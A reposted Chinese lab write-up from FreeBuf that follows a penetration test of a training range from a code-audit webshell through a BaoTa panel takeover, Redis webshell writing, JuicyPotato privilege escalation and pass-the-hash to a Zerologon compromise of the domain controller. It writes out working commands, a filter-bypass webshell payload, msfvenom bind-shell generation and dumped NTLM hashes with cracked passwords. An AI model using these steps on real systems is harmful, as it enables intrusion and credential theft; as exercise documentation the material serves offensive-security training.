从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332

前言

图片[1]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科本次靶场要求:
提示: http://www.cocat.cc/web.zip
四个root.txt分别在四台机子用户目录下拿到三个及格拿下四个满分

代码审计 Getshell

首先是一个站:cocat.cc
图片[2]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过提示把它的备份文件下载到了本地进行审计:http://www.cocat.cc/web.zip
图片[3]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

Bypass 突破执行命令

通过审计拿到了一个 webshell:http://www.cocat.cc/kss_tool/_webup.php
图片[4]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
由于当前环境不能执行命令,函数都写死了:
图片[5]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过翻文件翻到了Mysql的配置文件:
图片[6]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
本想尝试Mysql udf提权绕过发现Mysql版本大于5.1
图片[7]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

拿到宝塔后台权限

由于当前web是宝塔搭建的:
图片[8]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过翻文件找到了宝塔后台地址:

C:/BtSoft/panel/data/admin_path.pl

图片[9]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
图片[10]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后通过把宝塔的default.db文件下载到本地打开,users表里就是宝塔的登陆账号密码:
图片[11]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
md5是肯定解密不出来的:
图片[12]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
这个时候需要替换md5或者添加一个用户:
图片[13]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后把文件保存,上传到目标宝塔目录下:
图片[14]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
这个时候使用账号saulGoodmang密码123456去登陆:
图片[15]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
手动把禁用的函数关闭:
图片[16]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后给他来个重启:
图片[17]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
命令执行强行绕过:
图片[18]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

拿到第一个 root.txt

flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}

图片[19]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

内网渗透一

通过查看进程发现有火绒AV
图片[20]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
随即做免杀上线到CS
图片[21]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
发现当前内网应该是有其他主机存活的:
图片[22]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过nbtscan发现内网还有一台主机存活:
图片[23]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过fscan也扫描出来内网资产了:
图片[24]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
为了进内网直接做了一个frp socks代理进去:
图片[25]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过lengyi老哥的脚本绕过火绒添加了一个用户:

hacker 密码:P@ssw0rd

图片[26]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
图片[27]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后开启了它的3389:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

图片[28]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
图片[29]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
为了方便我把shell弹到了msf
图片[30]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后抓到了hash:(由于是 windows 2012 明文是抓不了的,只能抓 hash)

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::

通过解密得到了administrator的密码:QWEasd444

内网横向移动-192.168.59.4

通过msf对内网进行扫描arp存活发现了几台机器:(之前没扫描出来应该是有防火墙)

post/windows/gather/arp_scanner

图片[31]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
192.168.59.1就不用看了是网关,192.168.59.4就是内网另一台主机!
随后proxychains+nmap192.168.59.4进行扫描探测端口服务:

proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379  192.168.59.4

图片[32]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
发现开放的端口有:
图片[33]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
web页面的话倒是没啥:
图片[34]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
看了看扫描出来6379应该是redis相关漏洞!
通过尝试redis未授权发现连接成功!
图片[35]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
但是查看信息发现出错,应该是密码问题:
图片[36]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过msf redis爆破模块爆破出了密码:
图片[37]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
重新登陆redis

proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq

图片[38]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
登陆成功!现在要想拿到权限首先我们不知道网站路径(写不了一句话 ),但是知道当前网站使用的是IIS,那么IIS默认目录是:

C:Inetpubwwwroot

设想会不会是这个目录呢?随即写了一个aspxshellIIS默认目录:

192.168.59.4:6379> config set dir C:/inetpub/wwwroot/
OK
192.168.59.4:6379> config set dbfilename 1.aspx
OK
192.168.59.4:6379> set x '<%execute(request("x"))%>'  //注意这里要用单引号
OK
192.168.59.4:6379> save

发现写入不了,随后设置了读写权限 :

config set slave-read-only on 

然后发现读写可以了:
图片[39]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
再来写一遍webshell
图片[40]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
发现是404,写asp500,应该是什么东西拦截了。

随后bypass测试,可以通过这样绕过:(单引号中间要带空格)

set x '    <%execute(request("x"))%>    '

图片[41]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
拿到 webshell:http://192.168.59.4/a.asp

内网渗透二

通过发现当前机器是不出网的,而且权限还很小:
图片[42]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
发现当前机器上权限太小任何文件都上传不了:
图片[43]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过找到了一个可读可写目录:

C:ProgramDataVMwarelogs

并且当前机器上无任何杀软:
图片[44]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
随即坏土豆提权成功:
图片[45]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
拿到第二个 flag:

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

图片[46]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
随即添加了一个asp.net管理员用户进去:
图片[47]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

内网渗透-10.10.10.202

通过对内网进行存活探测发现内网存活了三台:10.10.10.20110.10.10.202(本机)、10.10.10.209:

for /l  %i  in (1,1,255) do @  ping  10.10.10.%i  -w  1  -n  1 |  find  /i  "ttl="

图片[48]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
随后关闭它防火墙:

netsh advfirewall set allprofiles state off

图片[49]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后MSF生成正向 shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe

图片[50]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
目标运行9090.exe
图片[51]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
随后MSF上线:
图片[52]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
hashdump解密得到了密码:QWEasd1122:
图片[53]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
紧接着开了它的远程桌面:(之前添加了一个asp.net用户,方便后续好登陆桌面 )

run post/windows/manage/enable_rdp

图片[54]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
图片[55]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
通过nbtcan发现10.10.10.201(DC)、10.10.10.209是域环境:
图片[56]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
得想办法拿到一台域机器
对他们进行扫描端口发现他们都开放了web服务:
图片[57]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
其中10.10.10.209还是一个Outlook Web App(微软的邮件组件)Exchange
图片[58]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
但是我们没有账号,这个时候我在Redis上找到了pts文件:

C:Users>for /r c: %i in (*.pst) do @echo %i
for /r c: %i in (*.pst) do @echo %i
c:Documents and SettingsAdministratorDocumentsOutlook [email protected]
c:Documents and SettingsAdministratorDocumentsOutlook [email protected] - test.pst
c:Documents and SettingsAdministratorMy DocumentsOutlook [email protected]
c:Documents and SettingsAdministratorMy DocumentsOutlook [email protected] - test.pst
c:UsersAdministratorDocumentsOutlook [email protected]
c:UsersAdministratorDocumentsOutlook [email protected] - test.pst
c:UsersAdministratorMy DocumentsOutlook [email protected]
c:UsersAdministratorMy DocumentsOutlook [email protected] - test.pst

图片[59]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科图片[60]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
知道了两个用户邮箱:[email protected][email protected]
然后把文件都下载到本地,进行后续利用(发现都失败了)

CVE-2020-1472 拿到域控

之后发现他域控存在 CVE-2020-1472域内提权漏洞:(需要 20200918 之后的 mimikatz 才可以使用)

privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$

图片[61]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科

lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit

图片[62]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科导出所有域内用户凭证:

python3 secretsdump.py cncat/[email protected] -no-pass

cncat.ccAdministrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

图片[63]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科图片[64]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科拿到域控和flag
图片[65]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
利用msf psexec上线:

msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                10.10.10.201                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                                                                                    no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             cncat                                                              no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as


Payload options (windows/x64/meterpreter/bind_tcp_rc4):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXITFUNC     thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT        4446             yes       The listen port
   RC4PASSWORD  msf              yes       Password to derive RC4 key from
   RHOST        10.10.10.201     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > run

[*] 10.10.10.201:445 - Connecting to the server...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
[*] 10.10.10.201:445 - Selecting PowerShell target
[*] 10.10.10.201:445 - Executing the payload...
[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.201:4446
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] Sending stage (200266 bytes) to 10.10.10.201
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 180.215.199.206:22222) at 2021-06-02 06:35:22 +0000

meterpreter >                                                                                    

然后通过令牌窃取身份切换为域管:
图片[66]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
然后通过和域机器10.10.10.209建立IPC
图片[67]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科
至此最后一个flag也拿到:
图片[68]-从外网代码审计到三层内网各种漏洞拿到域控 – 作者:211124332-安全小百科至此本次考核完毕!

结尾

对于红队成员来说最重要的就是渗透不能有短板,各种漏洞都应该去复现一遍,由于我Exchange的漏洞未复现导致卡了很长时间,最后还是使用暴力的手段拿到域控,在真实环境中很危险,很有可能导致域控的密码恢复不了!

若有好的建议和错误可以通过评论区评论!

来源:freebuf.com 2021-07-05 14:20:49 by: 211124332

相关推荐: 握筹布画,料敌于安全运营之间!《2021企业安全运营实践研究报告》先导篇 – 作者:FreeBuf咨询

话说安全大势,日新月异,东西贯通。前有勒索软件,后有漏洞追击。安全运营借势高楼起,横扫天下,人人趋之若鹜。四杰出世,引领风骚;零信任之父,独占鳌头。锦马超一枪决战攻防,孙伯符霸略溯源反制。握筹布画看周郎,子龙长枪扫八方。伯言火烧七百里,傲骨狂血魏文长。群英荟萃…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论